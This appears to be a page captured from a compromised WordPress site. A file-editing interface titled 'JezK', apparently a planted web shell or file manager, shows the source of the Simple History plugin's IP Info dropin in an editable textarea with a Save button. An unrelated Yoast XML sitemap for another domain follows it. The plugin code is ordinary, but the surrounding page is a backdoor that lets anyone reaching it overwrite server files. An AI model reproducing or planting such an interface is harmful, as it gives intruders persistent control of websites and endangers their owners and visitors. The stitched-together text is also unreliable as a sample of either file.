
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: class-ip-info-dropin.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

namespace Simple_History\Dropins;

/**
 * Dropin Name: IP Info
 * Dropin URI: https://simple-history.com/
 * Author: Pär Thernström
 */
class IP_Info_Dropin extends Dropin {
	/**
	 * @inheritdoc
	 */
	public function loaded() {
		add_filter(
			&#039;simple_history/row_header_output/display_ip_address&#039;,
			array( $this, &#039;row_header_display_ip_address_filter&#039; ),
			10,
			2
		);
	}

	/**
	 * Get Google Maps API key.
	 *
	 * @return string
	 */
	private function get_maps_api_key() {
		/**
		 * Filters the Google Maps API key that is used
		 * to render a static map image.
		 *
		 * @since 4.2
		 *
		 * @param string $api_key The API key to use. Default is empty string, causing no Map image to be outputted.
		 */
		return apply_filters( &#039;simple_history/maps_api_key&#039;, &#039;&#039; );
	}

	/**
	 * Display IP Addresses for login related messages.
	 *
	 * @param bool   $bool_value True if IP Address should be displayed.
	 * @param object $row Log row.
	 * @return bool
	 */
	public function row_header_display_ip_address_filter( $bool_value, $row ) {
		// Bail if log row in not from our logger.
		if ( $row-&gt;logger !== &#039;SimpleUserLogger&#039; ) {
			return $bool_value;
		}

		// Bail if no message key.
		if ( empty( $row-&gt;context_message_key ) ) {
			return $bool_value;
		}

		// Message keys to show IP Addresses for.
		$arr_keys_to_log = array(
			&#039;user_logged_in&#039;,
			&#039;user_login_failed&#039;,
			&#039;user_unknown_login_failed&#039;,
			&#039;user_unknown_logged_in&#039;,
			&#039;user_application_password_login_failed&#039;,
			&#039;user_application_password_unknown_login_failed&#039;,
		);

		// Bail if not correct message key.
		if ( ! in_array( $row-&gt;context_message_key, $arr_keys_to_log, true ) ) {
			return $bool_value;
		}

		return true;
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//viverdelicitacao.com/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://viverdelicitacao.com/page-sitemap.xml</loc>
		<lastmod>2025-08-22T16:18:12+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO -->